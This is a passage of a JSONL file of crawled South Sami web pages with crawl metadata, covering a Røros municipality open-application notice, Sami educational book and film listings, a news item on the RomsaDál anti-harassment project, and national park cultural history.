1.000007152557373}","num_words":409,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Utgått annonse\nSøknadsfristen for denne jobbmuligheten er passert\nRøros kommune\nRæhpas ohtseme \/ Åpen søknad\nÅenehks barkoebæjhkoehtimmien bïjre\nDaate lea ohtsemeportaale gusnie ræhpas ohtsemh Rørosen tjïeltese maehtieh sïjse seedtesovvedh jïh registreereme sjïdtedh. Edtja gaajhkh ræhpas ohtsemh daan barkoebæjhkoehtimmien tjïrrh registreeredh mijjen elektrovneles ohtsemesysteemesne. Ohtsijh mah e-påastem ræhpas ohtsemigujmie påastedåastoevasse seedtieh, sïjhtebe daan barkoebæjhkoehtæmman vuesiehtidh.Ohtsemeprosessen bïjre\nBarkoebæjhkoehtimmie edtja ajve ohtsemeportaaline årrodh gåabph ohtsijh maehtieh ræhpas ohtsemh sïjse bïejedh, jïh gusnie tjïelte maahta sjyöhtehke kandidaati mietie vuartasjidh daerpiesvoeten mietie.\nIj leah naan garantije jallh automatihke ohtsijh mah leah daennie barkoebæjhkoehtimmesne sijhtieh vuarjasjamme sjïdtedh jeatjah barkoebæjhkoehtimmiejgujmie. Datne jïjtje dïedtem åtnah meatan fulkedh tjïelten nedtesæjrosne gosse tjïelte sjiehteles barkoeh bæjhkohte, jïh dejtie barkoebæjhkoehtimmide ohtsedh.Gïem maehtebe ræhpas ohtsemistie dåårrehtidh?\nMijjieh ajve nuepiem utnebe ryöktesth barkoebæjhkoehtimmeste dåårrehtidh daejtie barkojde:\n- åenehks, faahketji vikarijaath raajan govhte askh\n- smaave, ihkuve bielietïjjenbarkoeh raajan 20 %\n- gohtjedimmievikaarh\nDaate barkoebæjhkoehtimmie orre aalkoem jïh galhkuvem åådtje gulmh jaepien. Gosse orre aalkoe ohtsijh sijhtieh nyöjhkemeprieviem åadtjodh jïh ohtsemh skubpesuvvieh.\nJis sïjhth jåerhkedh ohtsijinie tjåadtjodh mænngan bæjhkoehtimmie orre aalkose bïejesåvva tjoerh orresistie ohtsedh. Dellie akte orre barkoebæjhkoehtimmie olkese bïejesåvva maam maahtah ohtsedh.Guktie ohtsh?\nRørosen tjïelte elektrovneles ohtsemegoerem nuhtjh, vuartesjh tjïelten nedtesæjrosne, «Ledige stillinger» nuelesne gusnie vielie bïevnesh. Jis sïjhth daam barkoem ohtsedh dellie deadtah båalose «Søk her» åelkiesbielesne.\nJuktie sjiehteles barkoem aelhkebelaakan gaavnedh dellie vihkele datne vaajteles barkoesuerkieh tjïertesth dov ohtsemisnie, astoem nuhtjh ellies CV:m jïh ohtsemem darjodh, jïh sjiehteles væhnadassh jïh vihtienassh dov ohtsemen baalte bïejh.\nMujhtieh dam åvtelen ohtsh:\n- sjyöhtehke jallh vaajteles faagesuerkieh dov ohtsemisnie tjïertestidh\n- CV-bïevnesh jïh ohtsemem systeemen sïjse tjaeledh jïh sjiehteles væhnastimmieh jïh vihtienassh ohtsemen baalte bïejedh\n- orre ohtsemem sïjse bïejedh mænngan orre aalkoe sjïdteme, jis sïjhth jåerhkedh ohtsijinie tjåadtjodh\n- jïjtje meatan fulkedh gaavnoes barkojde mejtie bæjhkoehtibie mijjen sæjrosne\n\/Kort om utlysningen\nDette er en søknadsportal hvor åpne søknader til Røros kommune kan sendes inn og registreres. Alle åpne søknader skal registreres gjennom denne utlysningen i det elektroniske søknadssystemet vårt. Søkere som sender epost med åpne søknader til postmottaket, vil bli henvist til denne utlysningen.Om søknadsprosessen\nUtlysningen skal kun være en søknadsportal der søkere kan legge inn åpne søknader, og der kommunen kan se etter aktuelle kandidater i ved behov.\nDet er ingen garanti eller automatikk i at søkere som ligger i denne utlysningen vil bli vurdert ved andre stillingsutlysninger. Du er selv ansvarlig for å følge med på kommunens nettside ved utlysning av relevante stillinger og søke på disse utlysningene.Hvem kan vi rekruttere fra åpen søknad?\nVi har kun mulighet til å rekruttere direkte fra denne utlysningen til disse stillingene:\n- korte, uforutsette vikariat på inntil seks måneder\n- små, faste deltidsstillinger på inntil 20 %\n- tilkallingsvikarer\nDenne utlysningen nullstilles og avsluttes tre ganger i året. Ved nullstilling vil søkere få et avslagsbrev og søknader vil bli slettet.\nØnsker du å fortsette å stå som søker etter at utlysningen nullstilles må du søke på nytt. Det vil da bli lagt ut en ny utlysning som du kan søke på.Hvordan søker du?\nRøros kommune bruker et elektronisk søknadssystem, se kommunens nettside under «Ledige stillinger» for mer informasjon. Ønsker du å søke på denne stillingen trykker du knappen «Søk her» på høyre side.\nFor å gjøre en mulig stillingsmatch lettere er det viktig at du definerer ønskede arbeidsområder i søknaden din, tar deg tid til å legge inn en utfyllende CV og søknad, samt laster opp relevante attester og vitnemål.\nHusk dette før du søker:\n- definere aktuelle eller ønskede fagområder i søknaden din\n- fylle inn CV-info og søknad i systemet og legge ved relevante attester og vitnemål\n- legge inn ny søknad etter nullstilling, dersom du fortsatt vil stå som søker\n- selv følge med på ledige stillinger som blir lyst ut på våre sider","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/partnercdn.karriere.no\/jobb\/raehpas-ohtseme-apen-soknad-4066717","date":"2022-08-10T02:04:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571097.39\/warc\/CC-MAIN-20220810010059-20220810040059-00570.warc.gz","language":"sma","language_score":0.9969700575,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9969700574874878}","num_words":595,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bæjhkoje\nAajege Samisk språk- og kultursenter \/ NDLA\nTjaelije\nVaadtasovvemejaepie\n2020\nFaage\nDaltese\nGiele\nFormaate\nGaskeviermiesæjroe\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDigitaale learoevierhtie åarjelsaemiengïelese voestes gieline (SF Vg3).\nLearoevierhtien leah faageteksth guvviejgujmie, laavenjassh, interaktijve laavenjassh, videjovh jïh svaalhtesh jeatjah faagevierhtide. Learoevierhtien sisvege learoesoejkesjen maahtoeulmieh sjïehtelovveme. Learoevierhtie namhtah jïh gaajhkh maehtieh dam nuhtjedh, soe jeatjah utnijh enn jåarhkeskuvlelearohkh maehtieh vierhtiem nuhtjedh.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_sorsamisk-som-forstesprak","date":"2022-08-12T06:37:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571584.72\/warc\/CC-MAIN-20220812045352-20220812075352-00396.warc.gz","language":"sma","language_score":0.9999896288,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999896287918091}","num_words":58,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jåarhkeskuvlh edtjieh gaskesem hööltedh eejhtegigujmie\/åeliealmetjigujmie learoehkidie mah eah leah 18 jaepieh illeme abpe lïerehtimmiejaepiem. Dam edtjieh darjodh\n- bïevnesetjåanghkosne skuvlejaepien aalkoelisnie (Jåa1 jïh Jåa2)\n- soptsestallemisnie åejvielohkehtæjjine (Jåa1 jïh Jåa2)\n- bïevnesh reaktaj bïjre\n- bïeljelimmie learohken gaatoen bïjre\n- jeatjah bïevnesh learohken bïjre\nGosse learohke 18 jaepieh illeme, åeliealmetjh eah edtjh vielie bïevnesh åadtjodh bielelen learohke dam luhpiehtamme.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/laavenjostoe-skuvlen-jih-hiejmen-gaskem\/a\/033023","date":"2022-08-16T01:05:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572215.27\/warc\/CC-MAIN-20220815235954-20220816025954-00428.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000052452087402}","num_words":52,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Podkasten er en del av e-læring om alternativ og supplerende kommunikasjon (ASK), og den dreier seg om rettigheter.\nDenne tittelen er et sitat fra en Alternativ og supplerende kommunikasjon (ASK) -bruker som ble intervjuet i rapporten om eksamen, obligatoriske prøver og vurdering for elever med behov for ASK.\nBruk spillesken TegnMyggen og knottene og appen Tegnmyggen til å lære tegn på en morsom måte. Spillesken inneholder dyrelotto, svarteper, memory, en tallinje og to temaplakater– alle med tegn fra norsk tegnspråk. For videoavspilling av tegnene, skann strektegningene av tegn med appen.\nPlakaatesne «Doh magijeles gaektsie» raerieh gaavnh ovmessie aatide mejtie maahtah leavloem bïejedh juktie almetjem dåarjoehtidh ektiedimmiem vueptiestidh gaskem dam mij lea gærjesne tjaalasovveme jïh dam maam datne jeahtah gosse ektesne lohkede.\nPlakáhtan «Skieddis gáktsa» gávna oajvvadusájt majt máhtá dættodit váj viehkeda ulmutjav ájttsat girje tjállusa ja jiena gaskan majt jiednada gå aktan låhkåbihtte.\nDán girjátjin oattjo diedojt mij ietjá ja duodde guládallam (alternativ og supplerende kommunikasjon (ASK)) la, manen dat la ájnas ja gåktu máhtá mánát viehkedit ietjas gielav åvddånahttet. Girjásj la dagáduvvam Isaac Norge siegen.\nDaennie tjaalegisnie bïevnesh åadtjoeh mij alternatijve jïh suppleereden kommunikasjovne (ASK) lea, man åvteste vihkele jïh guktie maahtah dov maanam viehkiehtidh sijjen gïelem evtiedidh. Tjaalege evtiesovveme laavenjostosne siebrine Isaac Norge.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/statped.no\/laringsressurser\/sok-resultatside\/finn-laringsressurser\/?q=&f=100&s=r&p=4","date":"2022-08-11T01:36:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571232.43\/warc\/CC-MAIN-20220811012302-20220811042302-00215.warc.gz","language":"sma","language_score":0.89268291,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.8926829099655151, \"smj_Latn_score\": 0.07546036690473557, \"sme_Latn_score\": 0.028432298451662064}","num_words":205,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.887,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Les på norsk: Satser videre på RomsaDál – flere vil forebygge samehets\n– Vïenhtem RomsaDál lea hijven skraejriem Romsesne utnedh. Saemievæssjoehtimmie jïh saemieaassjoe leah gaajh sïejhme desnie, Jon-Richard Sommernes jeahta.\nDïhte jïjtje saemievæssjoehtimmiem staaresne Romsesne rååkehtalleme.\n– Mænngan saemievæssjoehtimmiem dåårjrim manne vielie våårkehke sjïdteme tsagkesasse, Sommernes jeahta.\nIj daejrieh mejtie vielie våårkehke sjïdteme dannasinie tsagkese vielie vååjnesasse båeteme, jallh mejtie dan åvtetes jïjtje dam dåårji.\nGuvvieh demonstrasjovneste saemievæssjoehtimmien vööste Båddådjosne.\nProsjekten ulmie lea positiviteetem geerjehtidh saemien gïelen, kultuvren jïh identiteeten bïjre Romsesne jïh dam saemien vielie våajnoes darjodh. Prosjekten mij eelki tsïengelen daan jaepien beetnehvierhtieh Saemiedigkeste åadtjoeji jïh Romsan gaasjelimmie siebrie (TIL) lea prosjekten aajhtere.\nElle Nystad prosjekteåejvine sjïdti njieljie askh. Bene gosse daah njieljie askh lin nåhkeme dellie prosjekten båetijen aejkien bïjre gaajkerdi.\n– Mijjieh hijven illedahkh vuajname gosse jienebh meatan sjidtieh dam dåarjoehtidh, Nystad jeahta.\nTromsKraften Bærekraftsfond viehkehte\nTroms Kraft viehkiem åadtjoeji RomsaDáleste juktie gïelem jïh kutuvremaahtoem gïehtelimmesne evtiedidh.\nDaelie Troms Kraft maahta bååstede vedtedh projektese.\nMænngan guejmieh soptsestalleme dah latjkajin RomsaDál galki vierhtieh åadtjodh Troms Kraften bærekraftsfondeste.\nDaelie prosjekte maahta sov barkoem njieljie vielie askh jåerkedh, mïetsken minngiegietjien 2022 raajan.\n–Daate lea laavenjostoe maam joekoen lyjhkebe. Mijjieh sïjhtebe saemien gïelem jïh kultuvrem nuhtjedh mijjien biejjieladtje gïehtelimmesne. Jïh daarpesjibie viehkiem jis edtjebe buektiethtidh, Stein-Gunnar Bondevik, gaskesadtemedirektööre Troms Kraftesne jeahta.\nVaajtele jeenebh meatan sjidtieh\nBondevik gegkiesti dah goh siebrie maehtebe njueniehkinie vaedtsedh jeatjah siebriej uvte regijovnesne.\n– Ij leah naan fåantoe jienebh sïelth, siebrieh jïh byjjes etaath eah edtjh seammalaakan darjodh, men dellie viehkiem daarpesjiebe. Dam viehkiem RomsaDál mijjese vadta, Bondevik jeahta.\nRomsaDál prosjekteåejvien mietie, edtjieh prosjekten barkoem jåerkedh numhtie leah dorjeme doh minngemes askh. Jih håhkesje vielie barkoe båata.\n– Håhkesjem jienebh meatan sjïdtieh jïh gaskesem vaalta RomsaDáline jïjtse vieltien. Dan jïenebh almetjh mah meatan sjidtieh dan stuerebe jarkelimmie sjædta, Nystad jeahta.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.nrk.no\/sapmi\/romsadal-mij-edtja-saemievaessjoehtimmie-vuastalidh-maahta-jaerkedh-1.15985692","date":"2022-08-20T05:51:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573908.30\/warc\/CC-MAIN-20220820043108-20220820073108-00695.warc.gz","language":"sma","language_score":0.9999730587,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999730587005615}","num_words":287,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kultuvrehistovrije\nBjörnlanden nasjonaaleparhke lea voenesne gusnie lea gaavneme dovne spaenjietjaalegh jïh spaenjieguvvieh. Muvhtene ennje mijjieh gaavnimh gïejh mijjen maadtojste jïh dah båeries moerh tsiehkieh vedtieh biologijen gellievoetese jïh aaj daamhtaj tjoevtenje kultuvrehistovrijen gorredæmman. Dah båeries moerh jïh spaenjieh maehtieh soptsestalledh. Nasjonaaleparhke skåajjen biologijen kultuvrevierhtieh gorrede.\nDah saemieh vuemesne\n1600-låhkoen raejeste tjaaleldh gaaltijh gååvnesieh guktie eatnemem nuhtjin Sjeltien dajvesne. Staate skaehtiem krïevi jïh eelkie almetjh ryöknedh. Almetjh bårrode årroejin jïh båatsoe lij jaevriej jïh gueliejaevriej bïjre. Dajvesne saemieh årroejin jïh dah fuelhkiej ektesne årroejin \"saemieskaehtiedajve\". Jaepie 1793 saemie Varnik Arvidsson tseegki orrebigkemem Häggsjö parhken jillelen. Daan biejjien gååvnese vuesiehtimmie eatnemereservaate Varniksberget nasjonaaleparhken åarjeljillene. Ennje vååjnoes dah gïejh aejkeste gosse saemieh vuemesne jïh gusnie dah vïerin.\nBåantaj tïjje\n1800-låhkoen aalkovisnie båantah juhtin. Dellie voene sjïdti njieljie hïejmenaajhterh lin Häggsjöesne. Gosse juekemem mieriedi jaepien 1884 dellie Häggsjöen maarhkh dej lïhke kronoskåajjine juakasovvi jïh dah aajhterh stoerre maarhkeaajhterh sjïdtin åenehks tïjjem. Tjïelkesommes gïejh båantijste lea dah ïentjedeepmesjimmieh mah parhkesne gååvnesieh. Dovne Angsjönen luspesne jïh Björkbäckeninie deepmesjimmieh gååvnesieh mejgujmie voestegh pluevieh deepmesjin ïentjide. Dah pluevieh Björkbähken lïhke lij voestegh ïentjedeepmesjimmieh jïh dan mænngan rïehkemedeepmesjimmieh.\nSkåajjeburrien tïjje\nGosse juakeme laaken mietie tjïrrehtamme jaepien 1896 dellie lin ajve 2 båantah mah dej maarhkem eekin jïh åålmegeryöknemisnie jaepien 1900 dellie åålmegisnie lin arrendatorh, skåajjebarkijh jïh göökte spidtjh. Mo och Domsjö AB jaepien 1903 åestieji Gideå & Husum AB:em mij dan mænngan Holmen Skog sjïdti. Luvlelen parhkesne lea ennje kronoparhke. Skåajjeburrien gïejh leah naan slahtjegamme tïmperegåetieh (staellieh) jïh ïentjedeepmesjimmie mij rïehkemedeepmesjimmiem sjïdti jïh baalkaj jïh raasti tsïeglh jïh naan tjaalestimmieh moerine mah nasjonaaleparhke daelie vaarjele.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/suoddjimparkkadiedo\/kultuvrehistovrije\/","date":"2022-08-17T13:57:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572908.71\/warc\/CC-MAIN-20220817122626-20220817152626-00186.warc.gz","language":"sma","language_score":0.9999998808,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999998807907104}","num_words":249,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nStoerretjåanghkoe aalka dæjstan, golken 11. b. ts. 09.00 jïh orreje duarstan, golken 13. b.\nVuartesjh aamhteselæstoem jïh programmem\nlea prosjekte mejnie Nöörjen Saemiedigkie lea aalkeme.\nMijjieh sïjhtebe saemien maanah edtjieh dam ellen bööremes aalkovem åadtjodh goh gåarede sijjen gïelem evtiedidh. Gosse eejhtegh, aahka gon aajjah jïh jeatjah geerve almetjh maanese luhkieh dellie dïhte vihkeles våaromem vadta lïeremasse jïh lohkemelastose jïh mænngan lohkeme- jïh tjaelemebievniemasse.\nLohkh vielie Lohkh munnjien! bïjre","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sametinget.no\/?sprak=14","date":"2022-10-05T11:24:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337625.5\/warc\/CC-MAIN-20221005105356-20221005135356-00557.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":82,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n1996\nGiele\nISBN\nVi91\nTïjje\n00:35:00\nReakta-aajhtere\nTelegoahti OS\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDemands Norwaco\nIjje\nDaennie learoevierhtie-videosne Issát vuesehte guktie beapmosem vaeltedh.\nFihkebe Isak Nils Oskal:m dåeriedidh gosse beapmosem galka njoevedh. Dïhte giedteste bovtsem veedtjie, ajpeste, tjaala, dueljiem gahtjehte, gadtseste jïh smeejvie. Gujnebe Kirsten Anne E. Oskal jis maeliem vaalta jïh dah sysngetjh, jïh dle nïmmerh dååjhte. Minngemes vuejnebe Issát juelkieh sööneminie.\nFilmesne noerhtesaemien soptsestieh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/filbma_niestebohcco-njuovvan","date":"2022-09-27T00:37:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030334974.57\/warc\/CC-MAIN-20220927002241-20220927032241-00257.warc.gz","language":"sma","language_score":0.9994124174,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9994124174118042}","num_words":66,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learohkh edtjieh åadtjodh lohkemem nuhtjedh lïeremen gaavhtan jïh positijve dååjresh jïh lohkemelastoem åadtjodh. Gosse learohkh ovmessie teeksth luhkieh dah edtjieh estetihkeles dååjresh åadtjodh, ïedtjem åadtjodh ovmessie teemaj åvteste, åadtjodh onterdidh jïh lïeredh, jïh daajroem åadtjodh jeatjah almetji åssjaldahki jïh jieledetsiehkiej bïjre. Learohkh edtjieh teeksth laejhtehkslaakan vuarjasjidh jïh teeksti relevaansen, tsevtsemefaamoen jïh ussjedammesvoeten bijjeli ussjedidh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.udir.no\/lk20\/sfs02-02\/om-faget\/kjerneelementer?lang=sma","date":"2022-10-02T19:59:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337339.70\/warc\/CC-MAIN-20221002181356-20221002211356-00005.warc.gz","language":"sma","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000096559524536}","num_words":54,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Solbakk, Aage Bertije Sør-Varanger museum ČálliidLágádus Vaadtasovvemejaepie 2007 Faage Eatnemefaage Båatsoe jïh design Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN 978-82-92044-55-1 Formaate Sïejhme gærja Reakta-aajhtere Sør-Varanger museum ČálliidLágádus Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 144 Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Histovrije Saemien histovrije Kultuvre Litteratuvre Aarhte jïh daajroe Eatnemefaage","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_den-elvesamiske-kulturen","date":"2022-12-03T08:30:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710926.23\/warc\/CC-MAIN-20221203075717-20221203105717-00537.warc.gz","language":"sma","language_score":0.9971286058,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9971286058425903}","num_words":51,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1990\nISBN\nVi120\nTïjje\n00:24:00\nFormaate\nDVD\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDemands Norwaco\nJaavoe\nDaennie programmeraajrosne Deatnu-jeanoen loesebivtijh vuelkebe dåereden.\nGalteginie gööledh båeries saemien göölemevuekie. Voestes programmesne vuejnebe guktie Deatnusne loesh bivtieh daejnie båeries göölemevuekine. Vuejnebe guktie dïhte tjåalome jïh guktie dollen nelnie bissh-gietjine bissedh, jïh man luste gïjrege gosse vualka voestes loesem bivtedh.\nMubpene programmesne njielje kamraatetjh dåeriedibie loese-göölemasse Kárášjohkese. Geajnoe aalka Šuorbmusne jïh nåhka easkah gosse Ásebaaktan jeksieh.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/filbma_vuosttas-luossa","date":"2022-12-01T16:53:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710829.5\/warc\/CC-MAIN-20221201153700-20221201183700-00514.warc.gz","language":"sma","language_score":0.999907136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999071359634399}","num_words":72,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n2014\nGiele\nISBN\n9788299297684\nFormaate\nGuvviegærja\nReakta-aajhtere\nJulia Donaldson, Axel Scheffler\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n31\nÅarjelsaemien maanagærja.\nSoptsese ræjmade, jïh lea snjearan bïjre mij sov ïskeres voelpe Gruffelen bïjre soptseste jïh dan gavhtan eah dah jeatjah juvrh snjearam vaeltieh. Faahketji Gruffele snjearan åvtelen tjåådtje, sæjhta satnem bårredh, men snjeara tsåatske jïh Gruffelem nullehte ahte dïhte skåajjen ïskerommes dyjrem.\nElla Holm Bull gærjam åarjelsaemiengïelese jarkoestamme.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_gruffele","date":"2022-11-27T01:03:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710155.67\/warc\/CC-MAIN-20221127005113-20221127035113-00597.warc.gz","language":"sma","language_score":0.9998083711,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9998083710670471}","num_words":66,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie artihkelisnie sïjhth lenkah gaavnedh gusnie bïevnesh joekehth byjjesfaamojste gaavnh.\nDirektoraate strålevaarjelimmie jïh atovmejearsoesvoete dam dåaroem fulkieh. Dah orreste bïevnesigujmie biejjeste beajjan buektieh. Sïjhth vielie bïevnesh lohkedh, maahtah dam dej hïejmesæjrosne darjodh. Hïejmesæjroe\nBeapmoevaaksjome (Mattilsynet) artihkelem båantide jïh jielemeproduksjovnese tjaaleme guktie maehtieh deerjeldahkesne atovmeovlæhkosne heerredh. Dah leah aaj læstoem buakteme gusnie joekehth vihkeles bïevnesh gaavnh. Lenke Beapmoevaaksjoemasse (Mattilsynet)\nDaesnie bïevnesh jïh raerieh gaavnh maam jïjtje maahta darjodh jïh atovmeovlæhkoe sjædta. Lohkh vielie","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/politihke-jih-organisasjovne\/ryojredimmiedaehkie\/","date":"2022-12-08T09:04:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711286.17\/warc\/CC-MAIN-20221208082315-20221208112315-00465.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":72,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Nilsen, Øystein Bertije Varanger samiske museum Vaadtasovvemejaepie 1991 Faage Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Daaroengïele Formaate Sïejhme gærja Reakta-aajhtere Varanger samiske museum Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 76 Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Litteratuvre Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_varangersamene","date":"2022-12-03T13:29:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710931.81\/warc\/CC-MAIN-20221203111902-20221203141902-00350.warc.gz","language":"sma","language_score":0.9989594817,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.998959481716156}","num_words":52,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1993\nFaage\nGiele\nISBN\nVi331\nTïjje\n00:33:00\nFormaate\nVHS\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDemands Norwaco\nIjje\nVideo saemiej jïh saemien kultuvren bïjre.\nSaepmie lea saemieneatneme. Daate video vyjrehke saemien kultuvrem vuesehte. Daennie filmesne saemiejgujmie gaavnedibie jïh sijjen kultuvrine – aerpievuekieh mah måedtiestoerretjuetie jaepieh tjïrrehtamme garre arktiske eatnamisnie. Åahpenibie guktie aarkebiejjien jallh mæssosne, dovne draamine, musihkine jïh poesijine. Åahpenh saemiejgujmie daennie filmesne, åålmege mij buektiehtamme jïjtse kultuvrem gorredidh maaje stoerreseabradahke bïjre 